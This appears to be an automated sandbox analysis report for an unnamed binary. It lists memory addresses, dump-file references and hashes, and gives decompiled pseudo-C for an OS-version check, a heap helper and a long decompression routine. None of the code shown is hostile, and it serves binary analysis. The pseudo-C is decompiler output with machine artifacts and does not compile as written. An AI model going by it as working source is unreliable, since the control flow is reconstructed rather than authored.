0x013a41b2
0x013a41b6
0x013a41b9
0x013a41bd
0x013a41c1
0x013a41d3
0x013a41d9
0x013a41dd
0x013a41e3
0x013a41e6
0x013a41e8
0x013a41ea
0x013a41ee
0x013a41f9
0x013a4205
0x013a420b
0x013a420f
0x013a4215
0x013a4218
0x013a421c
0x013a4220
0x013a4223
0x013a4227
0x013a422b
0x013a423d
0x013a4243
0x013a4247
0x013a424d
0x013a4250
0x013a4252
0x013a4254
0x013a4258
0x013a4263
0x013a426f
0x013a4275
0x013a4279
0x013a427d
0x013a4283
0x013a4286
0x013a4288
0x013a428a
0x013a428e
0x013a4292
0x013a4296
0x013a4299
0x013a429d
0x013a42a1
0x013a42a8
0x013a42b5
0x013a42b7
0x013a42bb
0x013a42c5
0x013a42c8
0x013a42ca
0x013a42cc
0x013a42d0
0x013a42d4
0x013a42d7
0x013a42e7
0x013a42ed
0x013a42f1
0x013a42f5
0x013a42fb
0x013a42fe
0x013a4300
0x013a4302
0x013a4306
0x013a430a
0x013a430e
0x013a4311
0x013a4315
0x013a4319
0x013a4320
0x013a432d
0x013a4333
0x013a4337
0x013a433d
0x013a4340
0x013a4342
0x013a4344
0x013a4348
0x013a434c
0x013a434f
0x013a435f
0x013a4365
0x013a4369
0x013a436d
0x013a4373
0x013a4376
0x013a4378
0x013a437a
0x013a437e
0x013a4381
0x013a4385
0x013a4389
0x013a438d
0x013a4391
0x013a43a3
0x013a43a9
0x013a43ad
0x013a43b3
0x013a43b6
0x013a43b8
0x013a43ba
0x013a43be
0x013a43c9
0x013a43d5
0x013a43d7
0x013a43db
0x013a43df
0x013a43e1
0x013a43e8
0x013a43ea
0x013a43ec
0x013a43f0
0x013a43f8
0x013a43fb
0x013a43fe
0x013a4402
0x013a4406
0x013a440a
0x013a440e
0x013a4412
0x013a441d
0x013a4424
0x013a442b
0x013a4432
0x013a4436
0x013a443a
0x013a4441
0x013a4441
0x013a444e
0x013a4452
0x013a4455
0x013a4458
0x013a4467

Strings

gj, xrefs: 013A3FD8

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: d2b9e73fa9817564edc27a6ff10cd5ec783e4b13fc796c423b09e2c668711ea9
Instruction ID: 59dd49bca9858403f0e975fd23c8a21124de511b13c9ff3534c62db963bae753
Opcode Fuzzy Hash: d2b9e73fa9817564edc27a6ff10cd5ec783e4b13fc796c423b09e2c668711ea9
Instruction Fuzzy Hash: 07F1D2B1A083418FC348CF29D890A1BFBE1BFC8608F19892EF498D7751DA34E9558F56

Uniqueness

Uniqueness Score: -1.00%

Function 013AA930 Relevance: 1.5, APIs: 1, Instructions: 28
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E013AA930() {
				struct _OSVERSIONINFOW _v280;
				signed int _t6;
				intOrPtr _t12;
				intOrPtr _t13;

				_t12 =  *0x13da020; // 0x2
				if(_t12 != 0xffffffff) {
					_t6 =  *0x13dcbf8; // 0xa
					_t13 =  *0x13dcbfc; // 0x0
				} else {
					_v280.dwOSVersionInfoSize = 0x114;
					GetVersionExW( &_v280);
					_t12 = _v280.dwPlatformId;
					_t6 = _v280.dwMajorVersion;
					_t13 = _v280.dwMinorVersion;
					 *0x13da020 = _t12;
					 *0x13dcbf8 = _t6;
					 *0x13dcbfc = _t13;
				}
				if(_t12 != 2) {
					return 0x501;
				} else {
					return (_t6 << 8) + _t13;
				}
			}

0x013aa933
0x013aa942
0x013aa980
0x013aa985
0x013aa944
0x013aa94a
0x013aa955
0x013aa95b
0x013aa961
0x013aa967
0x013aa96d
0x013aa973
0x013aa978
0x013aa978
0x013aa98e
0x00000000
0x013aa990
0x00000000
0x013aa993

APIs

GetVersionExW.KERNEL32(?), ref: 013AA955

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 4f173e98b5cc590c96180ca3a827d2d5f1269a1004f21d84690748d86fffcbdd
Instruction ID: cb2aa1313261e67d4671fde94b758c19e3a408b1ee8e5a420598f6e06ec30a49
Opcode Fuzzy Hash: 4f173e98b5cc590c96180ca3a827d2d5f1269a1004f21d84690748d86fffcbdd
Instruction Fuzzy Hash: AFF090B590120C8BCB38CF58F8816E873B9F749314F50429CD91553384D3319D80CF50

Uniqueness

Uniqueness Score: -1.00%

Function 013C8A9B Relevance: 1.3, APIs: 1, Instructions: 5
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E013C8A9B() {
				signed int _t3;

				_t3 = GetProcessHeap();
				 *0x13fb394 = _t3;
				return _t3 & 0xffffff00 | _t3 != 0x00000000;
			}

0x013c8a9b
0x013c8aa3
0x013c8aab

APIs

GetProcessHeap.KERNEL32 ref: 013C8A9B

Memory Dump Source

Source File: 00000000.00000002.247513433.00000000013A1000.00000020.00000001.01000000.00000003.sdmp, Offset: 013A0000, based on PE: true

Associated: 00000000.00000002.247509555.00000000013A0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247533312.00000000013D0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013DA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247548158.00000000013FA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.247558490.00000000013FC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_13a0000_file.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 78f53045df54ecea56aac5ca8ecfa6d68290c811c1d6dca76d0a840d10beae52
Instruction ID: 2bbc35a7d6b5c981985f1ae14c003e4385f156cdd96c0301c03ee6f73913026f
Opcode Fuzzy Hash: 78f53045df54ecea56aac5ca8ecfa6d68290c811c1d6dca76d0a840d10beae52
Instruction Fuzzy Hash: 6AA002745421019BD7644E35A645209759DA545791F15505EA405C5158D63445509701

Uniqueness

Uniqueness Score: -1.00%

Function 013B4FB4 Relevance: .8, Instructions: 800
COMMONCrypto

Download Yara Rule

C-Code - Quality: 96%

			E013B4FB4(intOrPtr __esi) {
				signed int _t314;
				signed int _t315;
				signed int _t316;
				signed int _t318;
				signed int _t319;
				signed int _t320;
				signed int _t321;
				signed int _t322;
				signed int _t324;
				signed int _t325;
				signed int _t326;
				void* _t328;
				intOrPtr _t333;
				signed int _t347;
				char _t356;
				unsigned int _t359;
				void* _t366;
				intOrPtr _t371;
				signed int _t381;
				char _t390;
				unsigned int _t391;
				void* _t399;
				intOrPtr _t400;
				signed int _t403;
				char _t412;
				signed int _t414;
				intOrPtr _t415;
				signed int _t417;
				signed int _t418;
				signed int _t419;
				signed int _t420;
				signed int _t422;
				signed int _t423;
				signed short _t424;
				signed int _t425;
				signed int _t428;
				signed int _t429;
				signed int _t430;
				signed int _t431;
				signed int _t433;
				signed int _t434;
				signed short _t435;
				unsigned int _t439;
				unsigned int _t444;
				signed int _t458;
				signed int _t460;
				signed int _t461;
				signed int _t464;
				signed int _t466;
				signed int _t468;
				signed int _t471;
				signed int _t472;
				signed int _t473;
				intOrPtr* _t474;
				signed int _t478;
				signed int _t479;
				intOrPtr _t483;
				unsigned int _t486;
				void* _t488;
				signed int _t491;
				signed int* _t493;
				unsigned int _t496;
				void* _t498;
				signed int _t501;
				signed int _t503;
				signed int _t511;
				void* _t514;
				signed int _t517;
				signed int _t519;
				signed int _t522;
				void* _t525;
				signed int _t528;
				signed int _t529;
				intOrPtr* _t531;
				void* _t532;
				signed int _t535;
				signed int _t537;
				signed int _t539;
				unsigned int _t546;
				void* _t548;
				signed int _t551;
				unsigned int _t555;
				void* _t557;
				signed int _t560;
				intOrPtr* _t562;
				void* _t563;
				signed int _t566;
				void* _t569;
				signed int _t572;
				intOrPtr* _t575;
				void* _t576;
				signed int _t579;
				void* _t582;
				signed int _t585;
				signed int _t586;
				intOrPtr* _t591;
				void* _t592;
				signed int _t595;
				signed int* _t598;
				unsigned int _t600;
				signed int _t603;
				unsigned int _t605;
				signed int _t608;
				void* _t611;
				signed int _t613;
				signed int _t614;
				void* _t615;
				unsigned int _t617;
				unsigned int _t621;
				signed int _t624;
				signed int _t625;
				signed int _t626;
				signed int _t627;
				signed int _t628;
				signed int _t629;
				unsigned int _t632;
				signed int _t634;
				intOrPtr* _t637;
				intOrPtr _t638;
				signed int _t639;
				signed int _t640;
				signed int _t641;
				signed int _t643;
				signed int _t644;
				signed int _t645;
				char* _t646;
				signed int _t648;
				signed int _t649;
				signed int _t651;
				char* _t652;
				intOrPtr* _t656;
				signed int _t657;
				void* _t658;
				void* _t661;

				L0:
				while(1) {
					L0:
					_t638 = __esi;
					_t598 = __esi + 0x7c;
					while(1) {
						L1:
						 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
						if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
							goto L12;
						} else {
							_t637 = _t638 + 0x8c;
						}
						while(1) {
							L3:
							_t661 =  *_t643 -  *((intOrPtr*)(_t638 + 0x94)) - 1 +  *_t637;
							if(_t661 <= 0 && (_t661 != 0 ||  *(_t638 + 8) <  *((intOrPtr*)(_t638 + 0x90)))) {
								break;
							}
							L6:
							if( *((char*)(_t638 + 0x9c)) != 0) {
								L99:
								_t415 = E013B3EF0(_t638);
								L100:
								return _t415;
							}
							L7:
							_push(_t637);
							_push(_t643);
							_t415 = E013B2B39(_t638);
							if(_t415 == 0) {
								goto L100;
							}
							L8:
							_push(_t638 + 0xa0);
							_push(_t637);
							_push(_t643);
							_t415 = E013B30E5(_t638);
							if(_t415 != 0) {
								continue;
							} else {
								goto L100;
							}
						}
						L10:
						_t458 = E013B3B38(_t638);
						__eflags = _t458;
						if(_t458 == 0) {
							goto L99;
						} else {
							_t598 = _t638 + 0x7c;
						}
						L12:
						_t483 =  *((intOrPtr*)(_t638 + 0x4b3c));
						__eflags = (_t483 -  *_t598 &  *(_t638 + 0xe6dc)) - 0x1004;
						if((_t483 -  *_t598 &  *(_t638 + 0xe6dc)) >= 0x1004) {
							L18:
							_t314 = E013AA4D1(_t643);
							_t315 =  *(_t638 + 0x124);
							_t600 = _t314 & 0x0000fffe;
							__eflags = _t600 -  *((intOrPtr*)(_t638 + 0xa4 + _t315 * 4));
							if(_t600 >=  *((intOrPtr*)(_t638 + 0xa4 + _t315 * 4))) {
								L20:
								_t627 = 0xf;
								_t316 = _t315 + 1;
								__eflags = _t316 - _t627;
								if(_t316 >= _t627) {
									L26:
									_t486 =  *(_t643 + 4) + _t627;
									 *(_t643 + 4) = _t486 & 0x00000007;
									_t318 = _t486 >> 3;
									 *_t643 =  *_t643 + _t318;
									_t488 = 0x10;
									_t491 =  *((intOrPtr*)(_t638 + 0xe4 + _t627 * 4)) + (_t600 -  *((intOrPtr*)(_t638 + 0xa0 + _t627 * 4)) >> _t488 - _t627);
									__eflags = _t491 -  *((intOrPtr*)(_t638 + 0xa0));
									asm("sbb eax, eax");
									_t319 = _t318 & _t491;
									__eflags = _t319;
									_t460 =  *(_t638 + 0xd28 + _t319 * 2) & 0x0000ffff;
									goto L27;
								} else {
									_t591 = _t638 + (_t316 + 0x29) * 4;
									while(1) {
										L22:
										__eflags = _t600 -  *_t591;
										if(_t600 <  *_t591) {
											_t627 = _t316;
											goto L26;
										}
										L23:
										_t316 = _t316 + 1;
										_t591 = _t591 + 4;
										__eflags = _t316 - 0xf;
										if(_t316 < 0xf) {
											continue;
										} else {
											goto L26;
										}
									}
									goto L26;
								}
							} else {
								_t592 = 0x10;
								_t626 = _t600 >> _t592 - _t315;
								_t595 = ( *(_t626 + _t638 + 0x128) & 0x000000ff) +  *(_t643 + 4);
								 *_t643 =  *_t643 + (_t595 >> 3);
								 *(_t643 + 4) = _t595 & 0x00000007;
								_t460 =  *(_t638 + 0x528 + _t626 * 2) & 0x0000ffff;
								L27:
								__eflags = _t460 - 0x100;
								if(_t460 >= 0x100) {
									L31:
									__eflags = _t460 - 0x106;
									if(_t460 < 0x106) {
										L96:
										__eflags = _t460 - 0x100;
										if(_t460 != 0x100) {
											L102:
											__eflags = _t460 - 0x101;
											if(_t460 != 0x101) {
												L129:
												_t461 = _t460 + 0xfffffefe;
												__eflags = _t461;
												_t493 = _t638 + (_t461 + 0x18) * 4;
												_t603 =  *_t493;
												 *(_t658 + 0x30) = _t603;
												if(_t461 == 0) {
													L131:
													 *(_t638 + 0x60) = _t603;
													_t320 = E013AA4D1(_t643);
													_t321 =  *(_t638 + 0x2de8);
													_t605 = _t320 & 0x0000fffe;
													__eflags = _t605 -  *((intOrPtr*)(_t638 + 0x2d68 + _t321 * 4));
													if(_t605 >=  *((intOrPtr*)(_t638 + 0x2d68 + _t321 * 4))) {
														L133:
														_t628 = 0xf;
														_t322 = _t321 + 1;
														__eflags = _t322 - _t628;
														if(_t322 >= _t628) {
															L139:
															_t496 =  *(_t643 + 4) + _t628;
															 *(_t643 + 4) = _t496 & 0x00000007;
															_t324 = _t496 >> 3;
															 *_t643 =  *_t643 + _t324;
															_t498 = 0x10;
															_t501 =  *((intOrPtr*)(_t638 + 0x2da8 + _t628 * 4)) + (_t605 -  *((intOrPtr*)(_t638 + 0x2d64 + _t628 * 4)) >> _t498 - _t628);
															__eflags = _t501 -  *((intOrPtr*)(_t638 + 0x2d64));
															asm("sbb eax, eax");
															_t325 = _t324 & _t501;
															__eflags = _t325;
															_t326 =  *(_t638 + 0x39ec + _t325 * 2) & 0x0000ffff;
															L140:
															_t629 = _t326 & 0x0000ffff;
															__eflags = _t629 - 8;
															if(_t629 >= 8) {
																_t464 = (_t629 >> 2) - 1;
																_t629 = (_t629 & 0x00000003 | 0x00000004) << _t464;
																__eflags = _t629;
															} else {
																_t464 = 0;
															}
															_t632 = _t629 + 2;
															__eflags = _t464;
															if(_t464 != 0) {
																_t391 = E013AA4D1(_t643);
																_t525 = 0x10;
																_t632 = _t632 + (_t391 >> _t525 - _t464);
																_t528 =  *(_t643 + 4) + _t464;
																 *_t643 =  *_t643 + (_t528 >> 3);
																_t529 = _t528 & 0x00000007;
																__eflags = _t529;
																 *(_t643 + 4) = _t529;
															}
															__eflags =  *((char*)(_t638 + 0x4c44));
															_t608 =  *(_t658 + 0x30);
															 *(_t638 + 0x74) = _t632;
															if( *((char*)(_t638 + 0x4c44)) == 0) {
																L147:
																_t503 =  *(_t638 + 0x7c);
																_t466 = _t503 - _t608;
																_t328 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
																__eflags = _t466 - _t328;
																if(_t466 >= _t328) {
																	L158:
																	__eflags = _t632;
																	if(_t632 == 0) {
																		while(1) {
																			L0:
																			_t638 = __esi;
																			_t598 = __esi + 0x7c;
																			goto L1;
																		}
																	}
																	L159:
																	_t644 =  *(_t638 + 0xe6dc);
																	do {
																		L160:
																		_t645 = _t644 & _t466;
																		_t466 = _t466 + 1;
																		 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)( *((intOrPtr*)(_t638 + 0x4b40)) + _t645));
																		_t598 = _t638 + 0x7c;
																		_t644 =  *(_t638 + 0xe6dc);
																		 *_t598 =  *_t598 + 0x00000001 & _t644;
																		_t632 = _t632 - 1;
																		__eflags = _t632;
																	} while (_t632 != 0);
																	goto L161;
																}
																L148:
																__eflags = _t503 - _t328;
																if(_t503 >= _t328) {
																	goto L158;
																}
																L149:
																_t333 =  *((intOrPtr*)(_t638 + 0x4b40));
																_t468 = _t466 + _t333;
																_t646 = _t333 + _t503;
																 *(_t638 + 0x7c) = _t503 + _t632;
																__eflags = _t608 - _t632;
																if(_t608 >= _t632) {
																	L154:
																	__eflags = _t632 - 8;
																	if(_t632 < 8) {
																		goto L117;
																	}
																	L155:
																	_t347 = _t632 >> 3;
																	__eflags = _t347;
																	 *(_t658 + 0x30) = _t347;
																	_t639 = _t347;
																	do {
																		L156:
																		E013BDFA0(_t646, _t468, 8);
																		_t658 = _t658 + 0xc;
																		_t468 = _t468 + 8;
																		_t646 = _t646 + 8;
																		_t632 = _t632 - 8;
																		_t639 = _t639 - 1;
																		__eflags = _t639;
																	} while (_t639 != 0);
																	goto L116;
																}
																L150:
																_t611 = 8;
																__eflags = _t632 - _t611;
																if(_t632 < _t611) {
																	goto L117;
																}
																L151:
																_t511 = _t632 >> 3;
																__eflags = _t511;
																do {
																	L152:
																	_t632 = _t632 - _t611;
																	 *_t646 =  *_t468;
																	 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																	 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																	 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																	 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																	 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																	 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																	_t356 =  *((intOrPtr*)(_t468 + 7));
																	_t468 = _t468 + _t611;
																	 *((char*)(_t646 + 7)) = _t356;
																	_t646 = _t646 + _t611;
																	_t511 = _t511 - 1;
																	__eflags = _t511;
																} while (_t511 != 0);
																goto L117;
															} else {
																L146:
																_push( *(_t638 + 0xe6dc));
																_push(_t638 + 0x7c);
																_push(_t608);
																L71:
																_push(_t632);
																E013B1854();
																goto L0;
																do {
																	while(1) {
																		L0:
																		_t638 = __esi;
																		_t598 = __esi + 0x7c;
																		do {
																			while(1) {
																				L1:
																				 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
																				if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
																					goto L12;
																				} else {
																					_t637 = _t638 + 0x8c;
																				}
																				goto L3;
																			}
																			goto L103;
																		} while (_t632 == 0);
																		__eflags =  *((char*)(_t638 + 0x4c44));
																		if( *((char*)(_t638 + 0x4c44)) == 0) {
																			L106:
																			_t537 =  *(_t638 + 0x7c);
																			_t614 =  *(_t638 + 0x60);
																			_t399 =  *((intOrPtr*)(_t638 + 0xe6d8)) + 0xffffeffc;
																			_t468 = _t537 - _t614;
																			__eflags = _t468 - _t399;
																			if(_t468 >= _t399) {
																				L125:
																				__eflags = _t632;
																				if(_t632 == 0) {
																					while(1) {
																						L0:
																						_t638 = __esi;
																						_t598 = __esi + 0x7c;
																						L1:
																						 *_t598 =  *_t598 &  *(_t638 + 0xe6dc);
																						if( *_t643 <  *((intOrPtr*)(_t638 + 0x88))) {
																							goto L12;
																						} else {
																							_t637 = _t638 + 0x8c;
																						}
																					}
																				}
																				L126:
																				_t648 =  *(_t638 + 0xe6dc);
																				do {
																					L127:
																					_t649 = _t648 & _t468;
																					_t468 = _t468 + 1;
																					 *((char*)( *((intOrPtr*)(_t638 + 0x4b40)) +  *(_t638 + 0x7c))) =  *((intOrPtr*)( *((intOrPtr*)(_t638 + 0x4b40)) + _t649));
																					_t598 = _t638 + 0x7c;
																					_t648 =  *(_t638 + 0xe6dc);
																					 *_t598 =  *_t598 + 0x00000001 & _t648;
																					_t632 = _t632 - 1;
																					__eflags = _t632;
																				} while (_t632 != 0);
																				L161:
																				_t643 = _t638 + 4;
																				goto L1;
																			}
																			L107:
																			__eflags = _t537 - _t399;
																			if(_t537 >= _t399) {
																				goto L125;
																			}
																			L108:
																			_t400 =  *((intOrPtr*)(_t638 + 0x4b40));
																			_t468 = _t468 + _t400;
																			_t646 = _t400 + _t537;
																			 *(_t638 + 0x7c) = _t537 + _t632;
																			__eflags = _t614 - _t632;
																			if(_t614 >= _t632) {
																				L113:
																				__eflags = _t632 - 8;
																				if(_t632 < 8) {
																					L117:
																					_t598 = _t638 + 0x7c;
																					__eflags = _t632;
																					if(_t632 == 0) {
																						goto L161;
																					}
																					L118:
																					_t598 = _t638 + 0x7c;
																					 *_t646 =  *_t468;
																					__eflags = _t632 - 1;
																					if(_t632 <= 1) {
																						goto L161;
																					}
																					L119:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																					__eflags = _t632 - 2;
																					if(_t632 <= 2) {
																						goto L161;
																					}
																					L120:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																					__eflags = _t632 - 3;
																					if(_t632 <= 3) {
																						goto L161;
																					}
																					L121:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																					__eflags = _t632 - 4;
																					if(_t632 <= 4) {
																						goto L161;
																					}
																					L122:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																					__eflags = _t632 - 5;
																					if(_t632 <= 5) {
																						goto L161;
																					}
																					L123:
																					_t598 = _t638 + 0x7c;
																					 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																					__eflags = _t632 - 6;
																					if(_t632 <= 6) {
																						goto L161;
																					}
																					L124:
																					 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																					while(1) {
																						L0:
																						_t638 = __esi;
																						_t598 = __esi + 0x7c;
																						goto L1;
																					}
																				}
																				L114:
																				_t403 = _t632 >> 3;
																				__eflags = _t403;
																				 *(_t658 + 0x30) = _t403;
																				_t641 = _t403;
																				do {
																					L115:
																					E013BDFA0(_t646, _t468, 8);
																					_t658 = _t658 + 0xc;
																					_t468 = _t468 + 8;
																					_t646 = _t646 + 8;
																					_t632 = _t632 - 8;
																					_t641 = _t641 - 1;
																					__eflags = _t641;
																				} while (_t641 != 0);
																				L116:
																				_t638 =  *((intOrPtr*)(_t658 + 0x10));
																				goto L117;
																			}
																			L109:
																			_t615 = 8;
																			__eflags = _t632 - _t615;
																			if(_t632 < _t615) {
																				goto L117;
																			}
																			L110:
																			_t539 = _t632 >> 3;
																			__eflags = _t539;
																			do {
																				L111:
																				_t632 = _t632 - _t615;
																				 *_t646 =  *_t468;
																				 *((char*)(_t646 + 1)) =  *(_t468 + 1);
																				 *((char*)(_t646 + 2)) =  *((intOrPtr*)(_t468 + 2));
																				 *((char*)(_t646 + 3)) =  *((intOrPtr*)(_t468 + 3));
																				 *((char*)(_t646 + 4)) =  *((intOrPtr*)(_t468 + 4));
																				 *((char*)(_t646 + 5)) =  *((intOrPtr*)(_t468 + 5));
																				 *((char*)(_t646 + 6)) =  *((intOrPtr*)(_t468 + 6));
																				_t412 =  *((intOrPtr*)(_t468 + 7));
																				_t468 = _t468 + _t615;
																				 *((char*)(_t646 + 7)) = _t412;
																				_t646 = _t646 + _t615;
																				_t539 = _t539 - 1;
																				__eflags = _t539;
																			} while (_t539 != 0);
																			goto L117;
																		}
																		L105:
																		_push( *(_t638 + 0xe6dc));
																		_push(_t638 + 0x7c);
																		_push( *(_t638 + 0x60));
																		goto L71;
																	}
																	L98:
																	_t417 = E013B1174(_t638, _t658 + 0x1c);
																	__eflags = _t417;
																} while (_t417 != 0);
																goto L99;
															}
														}
														L134:
														_t531 = _t638 + (_t322 + 0xb5a) * 4;
														while(1) {
															L135:
															__eflags = _t605 -  *_t531;
															if(_t605 <  *_t531) {
																break;
															}
															L136:
															_t322 = _t322 + 1;
															_t531 = _t531 + 4;
															__eflags = _t322 - 0xf;
															if(_t322 < 0xf) {
																continue;
															}
															L137:
															goto L139;
														}
														L138:
														_t628 = _t322;
														goto L139;
													}
													L132:
													_t532 = 0x10;
													_t613 = _t605 >> _t532 - _t321;
													_t535 = ( *(_t613 + _t638 + 0x2dec) & 0x000000ff) +  *(_t643 + 4);
													 *_t643 =  *_t643 + (_t535 >> 3);
													 *(_t643 + 4) = _t535 & 0x00000007;
													_t326 =  *(_t638 + 0x31ec + _t613 * 2) & 0x0000ffff;
													goto L140;
												} else {
													goto L130;
												}
												do {
													L130:
													 *_t493 =  *(_t493 - 4);
													_t493 = _t493 - 4;
													_t461 = _t461 - 1;
													__eflags = _t461;
												} while (_t461 != 0);
												goto L131;
											}
											L103:
											_t632 =  *(_t638 + 0x74);
											_t598 = _t638 + 0x7c;
											__eflags = _t632;
										}
										L97:
										_push(_t658 + 0x1c);
										_t414 = E013B2CCA(_t638, _t643);
										__eflags = _t414;
										if(_t414 == 0) {
											goto L99;
										}
										goto L98;
									}
									L32:
									_t634 = _t460 - 0x106;
									__eflags = _t634 - 8;
									if(_t634 >= 8) {
										_t478 = (_t634 >> 2) - 1;
										_t634 = (_t634 & 0x00000003 | 0x00000004) << _t478;
										__eflags = _t634;
									} else {
										_t478 = 0;
									}
									_t632 = _t634 + 2;
									__eflags = _t478;
									if(_t478 != 0) {
										_t444 = E013AA4D1(_t643);
										_t582 = 0x10;
										_t632 = _t632 + (_t444 >> _t582 - _t478);
										_t585 =  *(_t643 + 4) + _t478;
										 *_t643 =  *_t643 + (_t585 >> 3);
										_t586 = _t585 & 0x00000007;
										__eflags = _t586;
										 *(_t643 + 4) = _t586;
									}
									_t418 = E013AA4D1(_t643);
									_t419 =  *(_t638 + 0x1010);
									_t617 = _t418 & 0x0000fffe;
									__eflags = _t617 -  *((intOrPtr*)(_t638 + 0xf90 + _t419 * 4));
									if(_t617 >=  *((intOrPtr*)(_t638 + 0xf90 + _t419 * 4))) {
										L39:
										_t479 = 0xf;
										_t420 = _t419 + 1;
										__eflags = _t420 - _t479;
										if(_t420 >= _t479) {
											L45:
											_t546 =  *(_t643 + 4) + _t479;
											 *(_t643 + 4) = _t546 & 0x00000007;
											_t422 = _t546 >> 3;
											 *_t643 =  *_t643 + _t422;
											_t548 = 0x10;
											_t551 =  *((intOrPtr*)(_t638 + 0xfd0 + _t479 * 4)) + (_t617 -  *((intOrPtr*)(_t638 + 0xf8c + _t479 * 4)) >> _t548 - _t479);
											__eflags = _t551 -  *((intOrPtr*)(_t638 + 0xf8c));
											asm("sbb eax, eax");
											_t423 = _t422 & _t551;
											__eflags = _t423;
											_t424 =  *(_t638 + 0x1c14 + _t423 * 2) & 0x0000ffff;
											goto L46;
										}
										L40:
										_t575 = _t638 + (_t420 + 0x3e4) * 4;
										while(1) {
											L41:
											__eflags = _t617 -  *_t575;
											if(_t617 <  *_t575) {
												break;
											}
											L42:
											_t420 = _t420 + 1;
											_t575 = _t575 + 4;
											__eflags = _t420 - 0xf;
											if(_t420 < 0xf) {
												continue;
											}
											L43:
											goto L45;
										}
										L44:
										_t479 = _t420;
										goto L45;
									} else {
										L38:
										_t576 = 0x10;
										_t625 = _t617 >> _t576 - _t419;
										_t579 = ( *(_t625 + _t638 + 0x1014) & 0x000000ff) +  *(_t643 + 4);
										 *_t643 =  *_t643 + (_t579 >> 3);
										 *(_t643 + 4) = _t579 & 0x00000007;
										_t424 =  *(_t638 + 0x1414 + _t625 * 2) & 0x0000ffff;
										L46:
										_t425 = _t424 & 0x0000ffff;
										__eflags = _t425 - 4;
										if(_t425 >= 4) {
											_t643 = (_t425 >> 1) - 1;
											_t425 = (_t425 & 0x00000001 | 0x00000002) << _t643;
											__eflags = _t425;
										} else {
											_t643 = 0;
										}
										_t428 = _t425 + 1;
										 *(_t658 + 0x14) = _t428;
										_t471 = _t428;
										 *(_t658 + 0x30) = _t471;
										__eflags = _t643;
										if(_t643 == 0) {
											L64:
											_t643 = _t638 + 4;
											goto L65;
										} else {
											L50:
											__eflags = _t643 - 4;
											if(__eflags < 0) {
												L72:
												_t359 = E013B748C(_t638 + 4);
												_t514 = 0x20;
												_t471 = (_t359 >> _t514 - _t643) +  *(_t658 + 0x14);
												_t517 =  *(_t638 + 8) + _t643;
												 *(_t658 + 0x30) = _t471;
												_t643 = _t638 + 4;
												 *_t643 =  *_t643 + (_t517 >> 3);
												 *(_t643 + 4) = _t517 & 0x00000007;
												L65:
												__eflags = _t471 - 0x100;
												if(_t471 > 0x100) {
													_t632 = _t632 + 1;
													__eflags = _t471 - 0x2000;
													if(_t471 > 0x2000) {
														_t632 = _t632 + 1;
														__eflags = _t471 - 0x40000;
														if(_t471 > 0x40000) {
															_t632 = _t632 + 1;
															__eflags = _t632;
														}
													}
												}
												 *(_t638 + 0x6c) =  *(_t638 + 0x68);
												 *(_t638 + 0x68) =  *(_t638 + 0x64);
												 *(_t638 + 0x64) =  *(_t638 + 0x60);
												 *(_t638 + 0x60) = _t471;
												__eflags =  *((char*)(_t638 + 0x4c44));
												 *(_t638 + 0x74) = _t632;
												if( *((char*)(_t638 + 0x4c44)) == 0) {
													L73:
